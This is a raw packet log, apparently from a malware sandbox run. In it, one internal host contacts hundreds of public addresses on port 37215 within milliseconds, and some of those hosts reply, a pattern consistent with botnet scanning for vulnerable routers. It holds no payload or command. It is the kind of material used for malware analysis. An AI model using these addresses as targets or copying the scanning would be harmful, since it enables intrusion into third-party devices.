Oct 8, 2024 20:34:50.480305910 CEST	48169	37215	192.168.2.14	41.201.10.202
Oct 8, 2024 20:34:50.480308056 CEST	48169	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:50.480308056 CEST	48169	37215	192.168.2.14	156.20.24.103
Oct 8, 2024 20:34:50.480308056 CEST	48169	37215	192.168.2.14	41.154.117.250
Oct 8, 2024 20:34:50.480308056 CEST	48169	37215	192.168.2.14	197.200.173.97
Oct 8, 2024 20:34:50.480308056 CEST	48169	37215	192.168.2.14	197.181.201.71
Oct 8, 2024 20:34:50.480308056 CEST	48169	37215	192.168.2.14	41.178.156.169
Oct 8, 2024 20:34:50.480308056 CEST	48169	37215	192.168.2.14	197.74.58.150
Oct 8, 2024 20:34:50.480319977 CEST	48169	37215	192.168.2.14	156.155.185.214
Oct 8, 2024 20:34:50.480319977 CEST	48169	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	197.9.223.108
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	41.239.235.87
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	156.24.101.32
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	41.83.10.153
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	197.246.14.196
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	41.90.182.83
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	156.24.247.29
Oct 8, 2024 20:34:50.480321884 CEST	48169	37215	192.168.2.14	197.254.156.53
Oct 8, 2024 20:34:50.480334044 CEST	48169	37215	192.168.2.14	41.246.22.31
Oct 8, 2024 20:34:50.480334044 CEST	48169	37215	192.168.2.14	197.164.13.253
Oct 8, 2024 20:34:50.480334997 CEST	48169	37215	192.168.2.14	156.214.68.98
Oct 8, 2024 20:34:50.480334044 CEST	48169	37215	192.168.2.14	197.203.119.219
Oct 8, 2024 20:34:50.480340004 CEST	48169	37215	192.168.2.14	156.94.201.57
Oct 8, 2024 20:34:50.480340004 CEST	48169	37215	192.168.2.14	156.6.145.253
Oct 8, 2024 20:34:50.480340004 CEST	48169	37215	192.168.2.14	156.51.21.241
Oct 8, 2024 20:34:50.480343103 CEST	48169	37215	192.168.2.14	41.85.201.136
Oct 8, 2024 20:34:50.480343103 CEST	48169	37215	192.168.2.14	41.255.227.141
Oct 8, 2024 20:34:50.480343103 CEST	48169	37215	192.168.2.14	197.246.51.196
Oct 8, 2024 20:34:50.480343103 CEST	48169	37215	192.168.2.14	41.144.44.160
Oct 8, 2024 20:34:50.480344057 CEST	48169	37215	192.168.2.14	156.137.61.49
Oct 8, 2024 20:34:50.480343103 CEST	48169	37215	192.168.2.14	41.25.182.45
Oct 8, 2024 20:34:50.480344057 CEST	48169	37215	192.168.2.14	197.194.131.139
Oct 8, 2024 20:34:50.480343103 CEST	48169	37215	192.168.2.14	156.154.188.114
Oct 8, 2024 20:34:50.480344057 CEST	48169	37215	192.168.2.14	197.49.62.7
Oct 8, 2024 20:34:50.480344057 CEST	48169	37215	192.168.2.14	156.55.243.151
Oct 8, 2024 20:34:50.480360031 CEST	48169	37215	192.168.2.14	156.32.170.91
Oct 8, 2024 20:34:50.480386019 CEST	48169	37215	192.168.2.14	41.169.54.101
Oct 8, 2024 20:34:50.480395079 CEST	48169	37215	192.168.2.14	197.38.65.136
Oct 8, 2024 20:34:50.480395079 CEST	48169	37215	192.168.2.14	197.167.95.169
Oct 8, 2024 20:34:50.480398893 CEST	48169	37215	192.168.2.14	156.31.3.7
Oct 8, 2024 20:34:50.480398893 CEST	48169	37215	192.168.2.14	197.206.88.239
Oct 8, 2024 20:34:50.480398893 CEST	48169	37215	192.168.2.14	197.92.113.65
Oct 8, 2024 20:34:50.480398893 CEST	48169	37215	192.168.2.14	197.162.66.166
Oct 8, 2024 20:34:50.480418921 CEST	48169	37215	192.168.2.14	41.237.110.213
Oct 8, 2024 20:34:50.480418921 CEST	48169	37215	192.168.2.14	197.105.27.185
Oct 8, 2024 20:34:50.480427980 CEST	48169	37215	192.168.2.14	197.26.149.143
Oct 8, 2024 20:34:50.480427980 CEST	48169	37215	192.168.2.14	197.220.128.134
Oct 8, 2024 20:34:50.480427980 CEST	48169	37215	192.168.2.14	41.234.203.44
Oct 8, 2024 20:34:50.480438948 CEST	48169	37215	192.168.2.14	41.3.102.138
Oct 8, 2024 20:34:50.480442047 CEST	48169	37215	192.168.2.14	41.154.98.26
Oct 8, 2024 20:34:50.480449915 CEST	48169	37215	192.168.2.14	197.197.240.69
Oct 8, 2024 20:34:50.480449915 CEST	48169	37215	192.168.2.14	41.38.55.63
Oct 8, 2024 20:34:50.480452061 CEST	48169	37215	192.168.2.14	41.27.171.102
Oct 8, 2024 20:34:50.480467081 CEST	48169	37215	192.168.2.14	41.195.72.190
Oct 8, 2024 20:34:50.480468035 CEST	48169	37215	192.168.2.14	197.6.201.91
Oct 8, 2024 20:34:50.480472088 CEST	48169	37215	192.168.2.14	197.157.200.111
Oct 8, 2024 20:34:50.480472088 CEST	48169	37215	192.168.2.14	41.231.143.196
Oct 8, 2024 20:34:50.480488062 CEST	48169	37215	192.168.2.14	41.243.83.13
Oct 8, 2024 20:34:50.480489969 CEST	48169	37215	192.168.2.14	156.84.165.176
Oct 8, 2024 20:34:50.480496883 CEST	48169	37215	192.168.2.14	41.102.217.97
Oct 8, 2024 20:34:50.480500937 CEST	48169	37215	192.168.2.14	156.66.61.142
Oct 8, 2024 20:34:50.480501890 CEST	48169	37215	192.168.2.14	197.61.179.200
Oct 8, 2024 20:34:50.480506897 CEST	48169	37215	192.168.2.14	156.75.42.163
Oct 8, 2024 20:34:50.480516911 CEST	48169	37215	192.168.2.14	156.97.198.58
Oct 8, 2024 20:34:50.480523109 CEST	48169	37215	192.168.2.14	156.134.143.2
Oct 8, 2024 20:34:50.480526924 CEST	48169	37215	192.168.2.14	197.142.221.18
Oct 8, 2024 20:34:50.480526924 CEST	48169	37215	192.168.2.14	197.209.14.175
Oct 8, 2024 20:34:50.480545044 CEST	48169	37215	192.168.2.14	41.255.37.21
Oct 8, 2024 20:34:50.480545998 CEST	48169	37215	192.168.2.14	156.131.35.246
Oct 8, 2024 20:34:50.480549097 CEST	48169	37215	192.168.2.14	197.79.23.211
Oct 8, 2024 20:34:50.480562925 CEST	48169	37215	192.168.2.14	197.51.13.111
Oct 8, 2024 20:34:50.480562925 CEST	48169	37215	192.168.2.14	41.241.209.14
Oct 8, 2024 20:34:50.480564117 CEST	48169	37215	192.168.2.14	156.145.67.16
Oct 8, 2024 20:34:50.480567932 CEST	48169	37215	192.168.2.14	41.246.157.95
Oct 8, 2024 20:34:50.480585098 CEST	48169	37215	192.168.2.14	41.81.168.224
Oct 8, 2024 20:34:50.480585098 CEST	48169	37215	192.168.2.14	197.187.23.149
Oct 8, 2024 20:34:50.480587006 CEST	48169	37215	192.168.2.14	41.46.192.229
Oct 8, 2024 20:34:50.480600119 CEST	48169	37215	192.168.2.14	197.230.91.202
Oct 8, 2024 20:34:50.480602980 CEST	48169	37215	192.168.2.14	156.129.207.148
Oct 8, 2024 20:34:50.480602980 CEST	48169	37215	192.168.2.14	156.217.94.37
Oct 8, 2024 20:34:50.480613947 CEST	48169	37215	192.168.2.14	156.141.179.16
Oct 8, 2024 20:34:50.480614901 CEST	48169	37215	192.168.2.14	41.140.75.159
Oct 8, 2024 20:34:50.480616093 CEST	48169	37215	192.168.2.14	156.24.115.216
Oct 8, 2024 20:34:50.480618000 CEST	48169	37215	192.168.2.14	41.44.194.87
Oct 8, 2024 20:34:50.480618000 CEST	48169	37215	192.168.2.14	41.44.69.138
Oct 8, 2024 20:34:50.480624914 CEST	48169	37215	192.168.2.14	197.143.23.63
Oct 8, 2024 20:34:50.480627060 CEST	48169	37215	192.168.2.14	41.146.236.86
Oct 8, 2024 20:34:50.480633974 CEST	48169	37215	192.168.2.14	197.118.56.158
Oct 8, 2024 20:34:50.480638027 CEST	48169	37215	192.168.2.14	197.246.82.40
Oct 8, 2024 20:34:50.480638027 CEST	48169	37215	192.168.2.14	156.42.163.109
Oct 8, 2024 20:34:50.480645895 CEST	48169	37215	192.168.2.14	197.165.53.45
Oct 8, 2024 20:34:50.480648041 CEST	48169	37215	192.168.2.14	156.37.148.197
Oct 8, 2024 20:34:50.480650902 CEST	48169	37215	192.168.2.14	41.250.128.77
Oct 8, 2024 20:34:50.480667114 CEST	48169	37215	192.168.2.14	156.155.88.243
Oct 8, 2024 20:34:50.480676889 CEST	48169	37215	192.168.2.14	197.164.136.67
Oct 8, 2024 20:34:50.480681896 CEST	48169	37215	192.168.2.14	41.173.231.136
Oct 8, 2024 20:34:50.480691910 CEST	48169	37215	192.168.2.14	197.70.255.10
Oct 8, 2024 20:34:50.480691910 CEST	48169	37215	192.168.2.14	41.200.103.253
Oct 8, 2024 20:34:50.480694056 CEST	48169	37215	192.168.2.14	156.18.79.4
Oct 8, 2024 20:34:50.480694056 CEST	48169	37215	192.168.2.14	156.208.24.151
Oct 8, 2024 20:34:50.480700970 CEST	48169	37215	192.168.2.14	197.159.26.189
Oct 8, 2024 20:34:50.480701923 CEST	48169	37215	192.168.2.14	41.7.178.68
Oct 8, 2024 20:34:50.480701923 CEST	48169	37215	192.168.2.14	41.107.114.248
Oct 8, 2024 20:34:50.480703115 CEST	48169	37215	192.168.2.14	41.164.104.26
Oct 8, 2024 20:34:50.480711937 CEST	48169	37215	192.168.2.14	197.197.41.167
Oct 8, 2024 20:34:50.480714083 CEST	48169	37215	192.168.2.14	197.114.79.120
Oct 8, 2024 20:34:50.480716944 CEST	48169	37215	192.168.2.14	197.219.124.216
Oct 8, 2024 20:34:50.480717897 CEST	48169	37215	192.168.2.14	156.14.201.52
Oct 8, 2024 20:34:50.480735064 CEST	48169	37215	192.168.2.14	156.22.127.74
Oct 8, 2024 20:34:50.480735064 CEST	48169	37215	192.168.2.14	197.171.198.170
Oct 8, 2024 20:34:50.480737925 CEST	48169	37215	192.168.2.14	156.168.156.214
Oct 8, 2024 20:34:50.480751991 CEST	48169	37215	192.168.2.14	41.140.89.142
Oct 8, 2024 20:34:50.480752945 CEST	48169	37215	192.168.2.14	197.182.49.29
Oct 8, 2024 20:34:50.480753899 CEST	48169	37215	192.168.2.14	197.194.60.108
Oct 8, 2024 20:34:50.480762005 CEST	48169	37215	192.168.2.14	41.183.56.157
Oct 8, 2024 20:34:50.480762005 CEST	48169	37215	192.168.2.14	156.56.212.204
Oct 8, 2024 20:34:50.480773926 CEST	48169	37215	192.168.2.14	197.133.174.115
Oct 8, 2024 20:34:50.480782032 CEST	48169	37215	192.168.2.14	197.180.80.215
Oct 8, 2024 20:34:50.480787992 CEST	48169	37215	192.168.2.14	41.1.71.92
Oct 8, 2024 20:34:50.480791092 CEST	48169	37215	192.168.2.14	197.34.123.20
Oct 8, 2024 20:34:50.480792046 CEST	48169	37215	192.168.2.14	197.151.241.85
Oct 8, 2024 20:34:50.480797052 CEST	48169	37215	192.168.2.14	41.176.98.32
Oct 8, 2024 20:34:50.480803967 CEST	48169	37215	192.168.2.14	156.218.135.152
Oct 8, 2024 20:34:50.480803967 CEST	48169	37215	192.168.2.14	197.19.4.130
Oct 8, 2024 20:34:50.480823040 CEST	48169	37215	192.168.2.14	156.122.62.240
Oct 8, 2024 20:34:50.480823994 CEST	48169	37215	192.168.2.14	156.185.132.88
Oct 8, 2024 20:34:50.480837107 CEST	48169	37215	192.168.2.14	41.220.231.68
Oct 8, 2024 20:34:50.480839014 CEST	48169	37215	192.168.2.14	41.228.77.35
Oct 8, 2024 20:34:50.480845928 CEST	48169	37215	192.168.2.14	156.245.126.217
Oct 8, 2024 20:34:50.480851889 CEST	48169	37215	192.168.2.14	156.68.166.2
Oct 8, 2024 20:34:50.480856895 CEST	48169	37215	192.168.2.14	41.233.87.15
Oct 8, 2024 20:34:50.480866909 CEST	48169	37215	192.168.2.14	41.166.43.114
Oct 8, 2024 20:34:50.480870962 CEST	48169	37215	192.168.2.14	41.123.66.170
Oct 8, 2024 20:34:50.480878115 CEST	48169	37215	192.168.2.14	197.226.162.52
Oct 8, 2024 20:34:50.480880976 CEST	48169	37215	192.168.2.14	156.167.47.231
Oct 8, 2024 20:34:50.480890036 CEST	48169	37215	192.168.2.14	197.109.103.110
Oct 8, 2024 20:34:50.480890036 CEST	48169	37215	192.168.2.14	41.240.197.74
Oct 8, 2024 20:34:50.480905056 CEST	48169	37215	192.168.2.14	41.6.183.232
Oct 8, 2024 20:34:50.480910063 CEST	48169	37215	192.168.2.14	197.40.72.181
Oct 8, 2024 20:34:50.480914116 CEST	48169	37215	192.168.2.14	41.53.114.8
Oct 8, 2024 20:34:50.480928898 CEST	48169	37215	192.168.2.14	41.182.1.38
Oct 8, 2024 20:34:50.480928898 CEST	48169	37215	192.168.2.14	197.204.74.58
Oct 8, 2024 20:34:50.480928898 CEST	48169	37215	192.168.2.14	41.88.9.168
Oct 8, 2024 20:34:50.480930090 CEST	48169	37215	192.168.2.14	156.13.169.105
Oct 8, 2024 20:34:50.480930090 CEST	48169	37215	192.168.2.14	156.53.24.245
Oct 8, 2024 20:34:50.480937004 CEST	48169	37215	192.168.2.14	41.17.182.158
Oct 8, 2024 20:34:50.480937004 CEST	48169	37215	192.168.2.14	156.63.15.97
Oct 8, 2024 20:34:50.480952978 CEST	48169	37215	192.168.2.14	197.221.58.95
Oct 8, 2024 20:34:50.480957985 CEST	48169	37215	192.168.2.14	156.29.109.255
Oct 8, 2024 20:34:50.480981112 CEST	48169	37215	192.168.2.14	197.19.180.81
Oct 8, 2024 20:34:50.480994940 CEST	48169	37215	192.168.2.14	197.194.11.143
Oct 8, 2024 20:34:50.480998039 CEST	48169	37215	192.168.2.14	41.83.190.36
Oct 8, 2024 20:34:50.480999947 CEST	48169	37215	192.168.2.14	156.103.42.26
Oct 8, 2024 20:34:50.481000900 CEST	48169	37215	192.168.2.14	197.19.104.93
Oct 8, 2024 20:34:50.481000900 CEST	48169	37215	192.168.2.14	41.131.5.99
Oct 8, 2024 20:34:50.481000900 CEST	48169	37215	192.168.2.14	197.187.126.119
Oct 8, 2024 20:34:50.481012106 CEST	48169	37215	192.168.2.14	41.212.72.195
Oct 8, 2024 20:34:50.481013060 CEST	48169	37215	192.168.2.14	156.154.52.128
Oct 8, 2024 20:34:50.481026888 CEST	48169	37215	192.168.2.14	41.231.124.38
Oct 8, 2024 20:34:50.481036901 CEST	48169	37215	192.168.2.14	41.26.232.59
Oct 8, 2024 20:34:50.481050968 CEST	48169	37215	192.168.2.14	197.144.174.221
Oct 8, 2024 20:34:50.481050968 CEST	48169	37215	192.168.2.14	156.124.225.1
Oct 8, 2024 20:34:50.481051922 CEST	48169	37215	192.168.2.14	41.29.17.65
Oct 8, 2024 20:34:50.481053114 CEST	48169	37215	192.168.2.14	156.16.205.239
Oct 8, 2024 20:34:50.481053114 CEST	48169	37215	192.168.2.14	156.114.90.116
Oct 8, 2024 20:34:50.481060982 CEST	48169	37215	192.168.2.14	156.0.155.216
Oct 8, 2024 20:34:50.481076002 CEST	48169	37215	192.168.2.14	197.122.23.182
Oct 8, 2024 20:34:50.481076002 CEST	48169	37215	192.168.2.14	156.111.224.198
Oct 8, 2024 20:34:50.481076956 CEST	48169	37215	192.168.2.14	197.151.77.35
Oct 8, 2024 20:34:50.481082916 CEST	48169	37215	192.168.2.14	197.68.92.12
Oct 8, 2024 20:34:50.481093884 CEST	48169	37215	192.168.2.14	197.246.46.67
Oct 8, 2024 20:34:50.481096983 CEST	48169	37215	192.168.2.14	156.59.31.195
Oct 8, 2024 20:34:50.481111050 CEST	48169	37215	192.168.2.14	41.170.149.244
Oct 8, 2024 20:34:50.481127977 CEST	48169	37215	192.168.2.14	41.94.123.10
Oct 8, 2024 20:34:50.481138945 CEST	48169	37215	192.168.2.14	197.84.151.149
Oct 8, 2024 20:34:50.481138945 CEST	48169	37215	192.168.2.14	156.245.145.72
Oct 8, 2024 20:34:50.481141090 CEST	48169	37215	192.168.2.14	197.128.29.244
Oct 8, 2024 20:34:50.481141090 CEST	48169	37215	192.168.2.14	41.142.13.146
Oct 8, 2024 20:34:50.481148958 CEST	48169	37215	192.168.2.14	41.146.11.85
Oct 8, 2024 20:34:50.481154919 CEST	48169	37215	192.168.2.14	41.2.70.117
Oct 8, 2024 20:34:50.481158018 CEST	48169	37215	192.168.2.14	156.145.131.159
Oct 8, 2024 20:34:50.481168985 CEST	48169	37215	192.168.2.14	197.152.15.95
Oct 8, 2024 20:34:50.481169939 CEST	48169	37215	192.168.2.14	197.145.114.215
Oct 8, 2024 20:34:50.481169939 CEST	48169	37215	192.168.2.14	41.154.103.46
Oct 8, 2024 20:34:50.481170893 CEST	48169	37215	192.168.2.14	156.69.191.115
Oct 8, 2024 20:34:50.481175900 CEST	48169	37215	192.168.2.14	197.224.22.21
Oct 8, 2024 20:34:50.481185913 CEST	48169	37215	192.168.2.14	197.150.52.170
Oct 8, 2024 20:34:50.481189013 CEST	48169	37215	192.168.2.14	197.108.116.183
Oct 8, 2024 20:34:50.481189966 CEST	48169	37215	192.168.2.14	41.46.65.185
Oct 8, 2024 20:34:50.481193066 CEST	48169	37215	192.168.2.14	41.135.114.25
Oct 8, 2024 20:34:50.481204033 CEST	48169	37215	192.168.2.14	41.115.69.68
Oct 8, 2024 20:34:50.481215954 CEST	48169	37215	192.168.2.14	197.53.92.211
Oct 8, 2024 20:34:50.481234074 CEST	48169	37215	192.168.2.14	197.18.241.204
Oct 8, 2024 20:34:50.481234074 CEST	48169	37215	192.168.2.14	156.34.131.26
Oct 8, 2024 20:34:50.481237888 CEST	48169	37215	192.168.2.14	41.49.237.39
Oct 8, 2024 20:34:50.481237888 CEST	48169	37215	192.168.2.14	41.237.59.230
Oct 8, 2024 20:34:50.481239080 CEST	48169	37215	192.168.2.14	41.255.115.82
Oct 8, 2024 20:34:50.481239080 CEST	48169	37215	192.168.2.14	156.115.57.104
Oct 8, 2024 20:34:50.481256008 CEST	48169	37215	192.168.2.14	41.119.35.33
Oct 8, 2024 20:34:50.481267929 CEST	48169	37215	192.168.2.14	41.15.151.173
Oct 8, 2024 20:34:50.481268883 CEST	48169	37215	192.168.2.14	197.248.228.64
Oct 8, 2024 20:34:50.481276035 CEST	48169	37215	192.168.2.14	156.184.206.229
Oct 8, 2024 20:34:50.481276035 CEST	48169	37215	192.168.2.14	156.24.67.217
Oct 8, 2024 20:34:50.481287003 CEST	48169	37215	192.168.2.14	197.153.232.83
Oct 8, 2024 20:34:50.481291056 CEST	48169	37215	192.168.2.14	197.134.203.51
Oct 8, 2024 20:34:50.481295109 CEST	48169	37215	192.168.2.14	41.51.197.39
Oct 8, 2024 20:34:50.481297016 CEST	48169	37215	192.168.2.14	156.197.216.245
Oct 8, 2024 20:34:50.481328964 CEST	48169	37215	192.168.2.14	197.221.91.15
Oct 8, 2024 20:34:50.481328964 CEST	48169	37215	192.168.2.14	197.143.106.100
Oct 8, 2024 20:34:50.481329918 CEST	48169	37215	192.168.2.14	197.250.164.58
Oct 8, 2024 20:34:50.481329918 CEST	48169	37215	192.168.2.14	41.54.127.18
Oct 8, 2024 20:34:50.481347084 CEST	48169	37215	192.168.2.14	197.170.122.85
Oct 8, 2024 20:34:50.481348038 CEST	48169	37215	192.168.2.14	41.131.186.169
Oct 8, 2024 20:34:50.481348038 CEST	48169	37215	192.168.2.14	197.185.218.176
Oct 8, 2024 20:34:50.481348038 CEST	48169	37215	192.168.2.14	156.50.84.63
Oct 8, 2024 20:34:50.481348038 CEST	48169	37215	192.168.2.14	41.91.83.22
Oct 8, 2024 20:34:50.481357098 CEST	48169	37215	192.168.2.14	41.89.15.95
Oct 8, 2024 20:34:50.481357098 CEST	48169	37215	192.168.2.14	156.7.101.166
Oct 8, 2024 20:34:50.481359005 CEST	48169	37215	192.168.2.14	156.115.169.97
Oct 8, 2024 20:34:50.481359959 CEST	48169	37215	192.168.2.14	156.6.37.64
Oct 8, 2024 20:34:50.481359959 CEST	48169	37215	192.168.2.14	41.150.52.145
Oct 8, 2024 20:34:50.481362104 CEST	48169	37215	192.168.2.14	156.233.247.43
Oct 8, 2024 20:34:50.481367111 CEST	48169	37215	192.168.2.14	156.216.150.90
Oct 8, 2024 20:34:50.481367111 CEST	48169	37215	192.168.2.14	156.92.104.116
Oct 8, 2024 20:34:50.481367111 CEST	48169	37215	192.168.2.14	156.244.26.74
Oct 8, 2024 20:34:50.481367111 CEST	48169	37215	192.168.2.14	156.55.45.175
Oct 8, 2024 20:34:50.481374979 CEST	48169	37215	192.168.2.14	156.212.25.21
Oct 8, 2024 20:34:50.481374979 CEST	48169	37215	192.168.2.14	197.88.89.143
Oct 8, 2024 20:34:50.481375933 CEST	48169	37215	192.168.2.14	41.132.66.240
Oct 8, 2024 20:34:50.481376886 CEST	48169	37215	192.168.2.14	41.130.192.204
Oct 8, 2024 20:34:50.481376886 CEST	48169	37215	192.168.2.14	41.209.124.232
Oct 8, 2024 20:34:50.481376886 CEST	48169	37215	192.168.2.14	156.156.90.124
Oct 8, 2024 20:34:50.481376886 CEST	48169	37215	192.168.2.14	41.48.32.232
Oct 8, 2024 20:34:50.481376886 CEST	48169	37215	192.168.2.14	41.56.33.4
Oct 8, 2024 20:34:50.481381893 CEST	48169	37215	192.168.2.14	156.105.9.172
Oct 8, 2024 20:34:50.481389046 CEST	48169	37215	192.168.2.14	197.180.84.204
Oct 8, 2024 20:34:50.481394053 CEST	48169	37215	192.168.2.14	197.148.209.250
Oct 8, 2024 20:34:50.481395960 CEST	48169	37215	192.168.2.14	156.26.47.30
Oct 8, 2024 20:34:50.481401920 CEST	48169	37215	192.168.2.14	41.31.250.214
Oct 8, 2024 20:34:50.481401920 CEST	48169	37215	192.168.2.14	156.150.70.250
Oct 8, 2024 20:34:50.481412888 CEST	48169	37215	192.168.2.14	156.42.72.190
Oct 8, 2024 20:34:50.481412888 CEST	48169	37215	192.168.2.14	156.43.77.168
Oct 8, 2024 20:34:50.481431007 CEST	48169	37215	192.168.2.14	197.236.58.58
Oct 8, 2024 20:34:50.481431961 CEST	48169	37215	192.168.2.14	197.77.65.39
Oct 8, 2024 20:34:50.481432915 CEST	48169	37215	192.168.2.14	156.20.212.95
Oct 8, 2024 20:34:50.481448889 CEST	48169	37215	192.168.2.14	156.189.231.231
Oct 8, 2024 20:34:50.481451035 CEST	48169	37215	192.168.2.14	41.49.211.87
Oct 8, 2024 20:34:50.481451035 CEST	48169	37215	192.168.2.14	156.13.231.165
Oct 8, 2024 20:34:50.481451988 CEST	48169	37215	192.168.2.14	197.156.248.109
Oct 8, 2024 20:34:50.481456041 CEST	48169	37215	192.168.2.14	197.255.178.51
Oct 8, 2024 20:34:50.481468916 CEST	48169	37215	192.168.2.14	41.25.164.236
Oct 8, 2024 20:34:50.481470108 CEST	48169	37215	192.168.2.14	156.228.68.43
Oct 8, 2024 20:34:50.481470108 CEST	48169	37215	192.168.2.14	197.189.55.253
Oct 8, 2024 20:34:50.481470108 CEST	48169	37215	192.168.2.14	156.248.207.186
Oct 8, 2024 20:34:50.481472015 CEST	48169	37215	192.168.2.14	197.15.42.40
Oct 8, 2024 20:34:50.481472015 CEST	48169	37215	192.168.2.14	41.145.51.73
Oct 8, 2024 20:34:50.481472969 CEST	48169	37215	192.168.2.14	41.87.199.246
Oct 8, 2024 20:34:50.481472969 CEST	48169	37215	192.168.2.14	197.210.254.87
Oct 8, 2024 20:34:50.481473923 CEST	48169	37215	192.168.2.14	41.119.245.211
Oct 8, 2024 20:34:50.481472969 CEST	48169	37215	192.168.2.14	156.50.89.154
Oct 8, 2024 20:34:50.481478930 CEST	48169	37215	192.168.2.14	41.1.85.127
Oct 8, 2024 20:34:50.481481075 CEST	48169	37215	192.168.2.14	197.246.70.194
Oct 8, 2024 20:34:50.481481075 CEST	48169	37215	192.168.2.14	156.174.151.9
Oct 8, 2024 20:34:50.481492996 CEST	48169	37215	192.168.2.14	197.100.249.154
Oct 8, 2024 20:34:50.481493950 CEST	48169	37215	192.168.2.14	156.139.219.14
Oct 8, 2024 20:34:50.481496096 CEST	48169	37215	192.168.2.14	41.179.119.87
Oct 8, 2024 20:34:50.481497049 CEST	48169	37215	192.168.2.14	41.109.244.195
Oct 8, 2024 20:34:50.481498003 CEST	48169	37215	192.168.2.14	197.53.91.38
Oct 8, 2024 20:34:50.481498003 CEST	48169	37215	192.168.2.14	156.31.92.96
Oct 8, 2024 20:34:50.481499910 CEST	48169	37215	192.168.2.14	197.229.6.151
Oct 8, 2024 20:34:50.481501102 CEST	48169	37215	192.168.2.14	41.217.201.83
Oct 8, 2024 20:34:50.481499910 CEST	48169	37215	192.168.2.14	156.182.11.56
Oct 8, 2024 20:34:50.481504917 CEST	48169	37215	192.168.2.14	41.96.173.253
Oct 8, 2024 20:34:50.481504917 CEST	48169	37215	192.168.2.14	197.24.57.152
Oct 8, 2024 20:34:50.481504917 CEST	48169	37215	192.168.2.14	41.213.170.155
Oct 8, 2024 20:34:50.481504917 CEST	48169	37215	192.168.2.14	156.164.102.46
Oct 8, 2024 20:34:50.481514931 CEST	48169	37215	192.168.2.14	41.65.119.249
Oct 8, 2024 20:34:50.481514931 CEST	48169	37215	192.168.2.14	156.229.124.75
Oct 8, 2024 20:34:50.481517076 CEST	48169	37215	192.168.2.14	41.119.112.180
Oct 8, 2024 20:34:50.481517076 CEST	48169	37215	192.168.2.14	156.105.9.1
Oct 8, 2024 20:34:50.481518984 CEST	48169	37215	192.168.2.14	41.119.88.185
Oct 8, 2024 20:34:50.481518984 CEST	48169	37215	192.168.2.14	156.96.183.254
Oct 8, 2024 20:34:50.481518984 CEST	48169	37215	192.168.2.14	156.96.51.85
Oct 8, 2024 20:34:50.481518984 CEST	48169	37215	192.168.2.14	197.67.124.242
Oct 8, 2024 20:34:50.481519938 CEST	48169	37215	192.168.2.14	41.203.1.124
Oct 8, 2024 20:34:50.481519938 CEST	48169	37215	192.168.2.14	197.176.76.220
Oct 8, 2024 20:34:50.481530905 CEST	48169	37215	192.168.2.14	41.128.146.204
Oct 8, 2024 20:34:50.481532097 CEST	48169	37215	192.168.2.14	156.25.177.188
Oct 8, 2024 20:34:50.481537104 CEST	48169	37215	192.168.2.14	41.246.161.247
Oct 8, 2024 20:34:50.486737013 CEST	37215	48169	156.36.221.25	192.168.2.14
Oct 8, 2024 20:34:50.486752033 CEST	37215	48169	156.223.144.169	192.168.2.14
Oct 8, 2024 20:34:50.486762047 CEST	37215	48169	156.124.250.23	192.168.2.14
Oct 8, 2024 20:34:50.486773014 CEST	37215	48169	156.207.208.73	192.168.2.14
Oct 8, 2024 20:34:50.486785889 CEST	37215	48169	197.193.39.52	192.168.2.14
Oct 8, 2024 20:34:50.486797094 CEST	37215	48169	156.36.51.231	192.168.2.14
Oct 8, 2024 20:34:50.486800909 CEST	48169	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:50.486816883 CEST	48169	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:50.486816883 CEST	48169	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:50.486834049 CEST	48169	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:50.486844063 CEST	37215	48169	156.32.183.41	192.168.2.14
Oct 8, 2024 20:34:50.486845016 CEST	48169	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:50.486855030 CEST	37215	48169	197.56.146.34	192.168.2.14
Oct 8, 2024 20:34:50.486865997 CEST	48169	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:50.486866951 CEST	37215	48169	197.19.239.208	192.168.2.14
Oct 8, 2024 20:34:50.486879110 CEST	37215	48169	197.169.47.72	192.168.2.14
Oct 8, 2024 20:34:50.486886024 CEST	48169	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:50.486888885 CEST	37215	48169	197.115.31.20	192.168.2.14
Oct 8, 2024 20:34:50.486896038 CEST	48169	37215	192.168.2.14	197.19.239.208
Oct 8, 2024 20:34:50.486900091 CEST	48169	37215	192.168.2.14	197.56.146.34
Oct 8, 2024 20:34:50.486901045 CEST	37215	48169	197.78.132.32	192.168.2.14
Oct 8, 2024 20:34:50.486912012 CEST	37215	48169	156.212.202.95	192.168.2.14
Oct 8, 2024 20:34:50.486916065 CEST	48169	37215	192.168.2.14	197.169.47.72
Oct 8, 2024 20:34:50.486922979 CEST	37215	48169	197.61.137.233	192.168.2.14
Oct 8, 2024 20:34:50.486931086 CEST	48169	37215	192.168.2.14	197.115.31.20
Oct 8, 2024 20:34:50.486932993 CEST	37215	48169	156.233.49.226	192.168.2.14
Oct 8, 2024 20:34:50.486943960 CEST	37215	48169	197.84.216.15	192.168.2.14
Oct 8, 2024 20:34:50.486943960 CEST	48169	37215	192.168.2.14	197.78.132.32
Oct 8, 2024 20:34:50.486951113 CEST	48169	37215	192.168.2.14	156.212.202.95
Oct 8, 2024 20:34:50.486954927 CEST	37215	48169	156.199.215.78	192.168.2.14
Oct 8, 2024 20:34:50.486963987 CEST	48169	37215	192.168.2.14	197.61.137.233
Oct 8, 2024 20:34:50.486965895 CEST	37215	48169	41.213.200.73	192.168.2.14
Oct 8, 2024 20:34:50.486965895 CEST	48169	37215	192.168.2.14	156.233.49.226
Oct 8, 2024 20:34:50.486977100 CEST	37215	48169	156.184.134.85	192.168.2.14
Oct 8, 2024 20:34:50.486982107 CEST	48169	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:50.486987114 CEST	37215	48169	41.145.207.152	192.168.2.14
Oct 8, 2024 20:34:50.486999035 CEST	37215	48169	41.124.133.105	192.168.2.14
